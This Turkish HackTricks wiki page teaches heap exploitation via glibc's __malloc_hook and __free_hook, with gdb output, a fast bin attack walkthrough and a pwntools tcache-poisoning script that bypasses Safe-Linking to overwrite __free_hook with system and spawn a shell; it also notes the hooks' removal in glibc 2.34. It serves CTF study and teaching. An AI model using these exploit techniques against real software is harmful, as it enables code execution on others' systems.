mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
136 lines
7.6 KiB
Markdown
136 lines
7.6 KiB
Markdown
# WWW2Exec - __malloc_hook & __free_hook
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## **Malloc Hook**
|
||
|
||
Resmi GNU sitesinde belirttiği gibi, **`__malloc_hook`** değişkeni, `malloc()` çağrıldığında **çağrılacak bir fonksiyonun adresine işaret eden** bir işaretçidir ve bu adres **libc kütüphanesinin veri bölümünde saklanır**. Bu nedenle, bu adres bir **One Gadget** ile üzerine yazılırsa ve `malloc` çağrılırsa, **One Gadget çağrılacaktır**.
|
||
|
||
Malloc'u çağırmak için programın bunu çağırmasını beklemek veya **`printf("%10000$c")`** çağrısı yaparak, `libc`'nin bunları yığın üzerinde tahsis etmesi için çok fazla byte tahsis etmek mümkündür.
|
||
|
||
One Gadget hakkında daha fazla bilgi için:
|
||
|
||
{{#ref}}
|
||
../rop-return-oriented-programing/ret2lib/one-gadget.md
|
||
{{#endref}}
|
||
|
||
> [!WARNING]
|
||
> Hooks'un **GLIBC >= 2.34 için devre dışı olduğunu** unutmayın. Modern GLIBC sürümlerinde kullanılabilecek diğer teknikler vardır. Bakınız: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||
|
||
## Free Hook
|
||
|
||
Bu, sıralanmamış bir bin saldırısından sonra hızlı bir bin saldırısını kötüye kullanan sayfadaki örneklerden birinde kötüye kullanıldı:
|
||
|
||
{{#ref}}
|
||
../libc-heap/unsorted-bin-attack.md
|
||
{{#endref}}
|
||
|
||
Binary'nin sembolleri varsa `__free_hook` adresini bulmak mümkündür:
|
||
```bash
|
||
gef➤ p &__free_hook
|
||
```
|
||
[Postta](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) semboller olmadan free hook'un adresini nasıl bulacağınıza dair adım adım bir kılavuz bulabilirsiniz. Özetle, free fonksiyonunda:
|
||
|
||
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
|
||
0xf75dedc0 <free>: push ebx
|
||
0xf75dedc1 <free+1>: call 0xf768f625
|
||
0xf75dedc6 <free+6>: add ebx,0x14323a
|
||
0xf75dedcc <free+12>: sub esp,0x8
|
||
0xf75dedcf <free+15>: mov eax,DWORD PTR [ebx-0x98]
|
||
0xf75dedd5 <free+21>: mov ecx,DWORD PTR [esp+0x10]
|
||
<strong>0xf75dedd9 <free+25>: mov eax,DWORD PTR [eax]--- BURADA KIRIL
|
||
</strong>0xf75deddb <free+27>: test eax,eax ;<
|
||
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
|
||
</code></pre>
|
||
|
||
Yukarıdaki kodda belirtilen kırılma noktasında `$eax` içinde free hook'un adresi bulunacaktır.
|
||
|
||
Şimdi bir **fast bin saldırısı** gerçekleştiriliyor:
|
||
|
||
- Öncelikle, **`__free_hook`** konumunda **200 boyutunda hızlı **chunk'lar** ile çalışmanın mümkün olduğu keşfedildi:
|
||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
|
||
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
|
||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||
</code></pre>
|
||
- Bu konumda 0x200 boyutunda bir hızlı chunk elde edebilirsek, çalıştırılacak bir fonksiyon işaretçisini yazmak mümkün olacaktır.
|
||
- Bunun için, `0xfc` boyutunda yeni bir chunk oluşturulur ve birleştirilmiş fonksiyon bu işaretçi ile iki kez çağrılır, bu şekilde hızlı bin içinde `0xfc*2 = 0x1f8` boyutunda serbest bırakılmış bir chunk'a işaret eden bir işaretçi elde edilir.
|
||
- Ardından, bu chunk içinde **`fd`** adresini önceki **`__free_hook`** fonksiyonuna işaret edecek şekilde değiştirmek için edit fonksiyonu çağrılır.
|
||
- Daha sonra, hızlı bin'den önceki işe yaramaz chunk'ı almak için `0x1f8` boyutunda bir chunk oluşturulur, böylece **`__free_hook`** içinde bir hızlı bin chunk'ı elde etmek için `0x1f8` boyutunda başka bir chunk oluşturulur ve bu, **`system`** fonksiyonunun adresi ile üzerine yazılır.
|
||
- Ve nihayet, `/bin/sh\x00` dizesini içeren bir chunk serbest bırakılır ve delete fonksiyonu çağrılır, bu da **`__free_hook`** fonksiyonunu tetikler ve `/bin/sh\x00` parametre olarak sistem fonksiyonuna işaret eder.
|
||
|
||
---
|
||
|
||
## Tcache zehirlenmesi & Güvenli Bağlama (glibc 2.32 – 2.33)
|
||
|
||
glibc 2.32, **Güvenli Bağlama**'yı tanıttı - **tcache** ve hızlı binler tarafından kullanılan *tek*-bağlı listeleri koruyan bir bütünlük kontrolü. Artık ham bir ileri işaretçi (`fd`) depolamak yerine, ptmalloc bunu aşağıdaki makro ile *şifreli* olarak depoluyor:
|
||
```c
|
||
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
|
||
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
|
||
```
|
||
Sömürü için sonuçlar:
|
||
|
||
1. Bir **heap leak** zorunludur – saldırgan, geçerli bir obfuscate edilmiş işaretçi oluşturmak için `chunk_addr >> 12` değerini bilmelidir.
|
||
2. Sadece *tam* 8 baytlık işaretçi sahte olarak oluşturulabilir; tek baytlık kısmi yazmalar kontrolü geçmeyecektir.
|
||
|
||
Dolayısıyla, glibc 2.32/2.33 üzerinde `__free_hook`'u yazan minimal bir tcache-poisoning primitive şöyle görünmektedir:
|
||
```py
|
||
from pwn import *
|
||
|
||
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
|
||
p = process("./vuln")
|
||
|
||
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
|
||
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
|
||
heap_base = heap_leak & ~0xfff
|
||
fd_key = heap_base >> 12 # value used by PROTECT_PTR
|
||
log.success(f"heap @ {hex(heap_base)}")
|
||
|
||
# 2. Prepare two same-size chunks and double-free one of them
|
||
a = malloc(0x48)
|
||
b = malloc(0x48)
|
||
free(a)
|
||
free(b)
|
||
free(a) # tcache double-free ⇒ poisoning primitive
|
||
|
||
# 3. Forge obfuscated fd that points to __free_hook
|
||
free_hook = libc.sym['__free_hook']
|
||
poison = free_hook ^ fd_key
|
||
edit(a, p64(poison)) # overwrite fd of tcache entry
|
||
|
||
# 4. Two mallocs: the second one returns a pointer to __free_hook
|
||
malloc(0x48) # returns chunk a
|
||
c = malloc(0x48) # returns chunk @ __free_hook
|
||
edit(c, p64(libc.sym['system']))
|
||
|
||
# 5. Trigger
|
||
bin_sh = malloc(0x48)
|
||
edit(bin_sh, b"/bin/sh\x00")
|
||
free(bin_sh)
|
||
```
|
||
Yukarıdaki kesit, *UIUCTF 2024 – «Rusty Pointers»* ve *openECSC 2023 – «Babyheap G»* gibi son CTF zorluklarından uyarlanmıştır; her ikisi de `__free_hook`'u yazmak için Safe-Linking bypass'larına dayanıyordu.
|
||
|
||
---
|
||
|
||
## glibc ≥ 2.34'te ne değişti?
|
||
|
||
**glibc 2.34 (Ağustos 2021)** ile birlikte, `__malloc_hook`, `__realloc_hook`, `__memalign_hook` ve `__free_hook` tahsis kancaları **kamusal API'den kaldırıldı ve artık tahsis edici tarafından çağrılmıyor**. Eski ikili dosyalar için uyumluluk sembolleri hala dışa aktarılmakta, ancak bunları yazmak artık `malloc()` veya `free()` kontrol akışını etkilemiyor.
|
||
|
||
Pratik sonuç: modern dağıtımlarda (Ubuntu 22.04+, Fedora 35+, Debian 12, vb.) *diğer* ele geçirme ilkelere (IO-FILE, `__run_exit_handlers`, vtable spraying, vb.) geçiş yapmalısınız çünkü kanca yazmaları sessizce başarısız olacaktır.
|
||
|
||
Hala hata ayıklama için eski davranışa ihtiyacınız varsa, glibc `libc_malloc_debug.so`'yu gönderir; bu, eski kancaları yeniden etkinleştirmek için önceden yüklenebilir – ancak bu kütüphane **üretim için tasarlanmamıştır ve gelecekteki sürümlerde kaybolabilir**.
|
||
|
||
---
|
||
|
||
## Referanslar
|
||
|
||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||
- Safe-Linking – 20 yıllık bir malloc() istismar ilkesinin ortadan kaldırılması (Check Point Research, 2020)
|
||
- glibc 2.34 sürüm notları – malloc kancalarının kaldırılması
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|